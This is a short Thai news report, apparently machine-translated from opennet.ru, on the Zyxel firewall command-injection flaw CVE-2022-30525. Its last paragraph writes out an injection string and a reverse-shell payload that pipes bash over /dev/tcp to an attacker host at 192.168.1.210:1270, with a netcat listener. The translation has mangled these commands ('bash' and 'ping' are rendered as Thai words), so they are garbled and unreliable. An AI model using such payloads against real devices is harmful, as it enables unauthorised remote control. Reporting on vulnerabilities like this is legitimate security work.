พบช่องโหว่ร้ายแรง (CVE-2022-30525) ในอุปกรณ์ Zyxel ซีรีส์ ATP, VPN และ USG FLEX ซึ่งออกแบบมาเพื่อจัดระเบียบการทำงานของไฟร์วอลล์, IDS และ VPN ในองค์กร ซึ่งช่วยให้ผู้โจมตีภายนอกสามารถรันโค้ดบน อุปกรณ์ที่ไม่มีสิทธิ์ผู้ใช้โดยไม่มีการตรวจสอบสิทธิ์ ในการโจมตี ผู้โจมตีจะต้องสามารถส่งคำขอไปยังอุปกรณ์โดยใช้โปรโตคอล HTTP/HTTPS Zyxel ได้แก้ไขช่องโหว่ในการอัพเดตเฟิร์มแวร์ ZLD 5.30 แล้ว ตามบริการ Shodan ปัจจุบันมีอุปกรณ์ที่อาจมีความเสี่ยง 16213 เครื่องบนเครือข่ายทั่วโลกที่ยอมรับคำขอผ่าน HTTP/HTTPS
การดำเนินการดำเนินการโดยการส่งคำสั่งที่ออกแบบมาเป็นพิเศษไปยังตัวจัดการเว็บ /ztp/cgi-bin/handler ซึ่งสามารถเข้าถึงได้โดยไม่ต้องมีการตรวจสอบสิทธิ์ ปัญหาเกิดจากการขาดการล้างข้อมูลพารามิเตอร์คำขอที่เหมาะสมเมื่อดำเนินการคำสั่งบนระบบโดยใช้การเรียก os.system ที่ใช้ในไลบรารี lib_wan_settings.py และดำเนินการเมื่อประมวลผลการดำเนินการ setWanPortSt
ตัวอย่างเช่น ผู้โจมตีสามารถส่งสตริง “; ปิง 192.168.1.210;" ซึ่งจะนำไปสู่การรันคำสั่ง “ping 192.168.1.210” บนระบบ หากต้องการเข้าถึงเชลล์คำสั่ง คุณสามารถเรียกใช้ “nc -lvnp 1270” บนระบบของคุณ จากนั้นเริ่มต้นการเชื่อมต่อแบบย้อนกลับโดยส่งคำขอไปยังอุปกรณ์ด้วยเครื่องหมาย '; ทุบตี -c \»exec ทุบตี -i &>/dev/tcp/192.168.1.210/1270 <&1;\»;'
ที่มา: opennet.ru